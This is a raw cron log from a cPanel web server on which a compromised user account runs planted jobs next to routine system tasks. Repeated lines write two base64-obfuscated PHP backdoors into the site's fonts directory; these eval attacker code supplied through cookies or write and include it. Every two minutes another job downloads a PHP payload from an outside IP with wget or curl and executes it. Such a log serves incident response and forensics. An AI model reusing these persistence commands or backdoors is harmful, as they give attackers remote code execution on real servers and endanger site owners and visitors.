Sep  7 10:38:01 ip-184-168-122-23 CROND[10530]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 10:38:01 ip-184-168-122-23 CROND[10535]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 10:39:01 ip-184-168-122-23 CROND[10627]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  7 10:39:01 ip-184-168-122-23 CROND[10629]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 10:39:01 ip-184-168-122-23 CROND[10630]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 10:39:01 ip-184-168-122-23 CROND[10632]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 10:39:01 ip-184-168-122-23 CROND[10631]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 10:40:01 ip-184-168-122-23 CROND[10739]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 10:40:01 ip-184-168-122-23 CROND[10741]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 10:40:01 ip-184-168-122-23 CROND[10742]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 10:40:01 ip-184-168-122-23 CROND[10745]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 10:40:01 ip-184-168-122-23 CROND[10743]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 10:40:01 ip-184-168-122-23 CROND[10744]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 10:40:01 ip-184-168-122-23 CROND[10746]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 10:40:01 ip-184-168-122-23 CROND[10747]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 10:41:01 ip-184-168-122-23 CROND[10885]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 10:41:01 ip-184-168-122-23 CROND[10883]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 10:41:01 ip-184-168-122-23 CROND[10886]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 10:41:01 ip-184-168-122-23 CROND[10884]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 10:42:01 ip-184-168-122-23 CROND[11094]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 10:42:01 ip-184-168-122-23 CROND[11099]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 10:42:01 ip-184-168-122-23 CROND[11096]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 10:42:01 ip-184-168-122-23 CROND[11097]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 10:42:01 ip-184-168-122-23 CROND[11098]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 10:43:01 ip-184-168-122-23 CROND[11226]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 10:43:01 ip-184-168-122-23 CROND[11227]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 10:43:01 ip-184-168-122-23 CROND[11230]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 10:43:01 ip-184-168-122-23 CROND[11231]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 10:44:01 ip-184-168-122-23 CROND[11367]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 10:44:01 ip-184-168-122-23 CROND[11365]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 10:44:01 ip-184-168-122-23 CROND[11364]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 10:44:01 ip-184-168-122-23 CROND[11368]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 10:44:01 ip-184-168-122-23 CROND[11366]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 10:45:01 ip-184-168-122-23 CROND[11487]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 10:45:01 ip-184-168-122-23 CROND[11489]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 10:45:01 ip-184-168-122-23 CROND[11490]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 10:45:01 ip-184-168-122-23 CROND[11491]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 10:45:01 ip-184-168-122-23 CROND[11492]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 10:45:01 ip-184-168-122-23 CROND[11493]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 10:46:01 ip-184-168-122-23 CROND[11645]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 10:46:01 ip-184-168-122-23 CROND[11648]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 10:46:01 ip-184-168-122-23 CROND[11650]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 10:46:01 ip-184-168-122-23 CROND[11649]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 10:46:01 ip-184-168-122-23 CROND[11652]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  7 10:46:01 ip-184-168-122-23 CROND[11647]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 10:46:01 ip-184-168-122-23 CROND[11651]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 10:47:01 ip-184-168-122-23 CROND[11784]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 10:47:01 ip-184-168-122-23 CROND[11787]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 10:47:01 ip-184-168-122-23 CROND[11786]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 10:47:01 ip-184-168-122-23 CROND[11788]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 10:48:01 ip-184-168-122-23 CROND[11899]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 10:48:01 ip-184-168-122-23 CROND[11904]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 10:48:01 ip-184-168-122-23 CROND[11903]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 10:48:01 ip-184-168-122-23 CROND[11902]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 10:48:01 ip-184-168-122-23 CROND[11905]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 10:49:01 ip-184-168-122-23 CROND[12006]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 10:49:01 ip-184-168-122-23 CROND[12008]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 10:49:01 ip-184-168-122-23 CROND[12009]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 10:49:01 ip-184-168-122-23 CROND[12010]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep  7 10:49:01 ip-184-168-122-23 CROND[12007]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 10:50:01 ip-184-168-122-23 CROND[12250]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 10:50:01 ip-184-168-122-23 CROND[12253]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 10:50:01 ip-184-168-122-23 CROND[12256]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 10:50:01 ip-184-168-122-23 CROND[12257]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
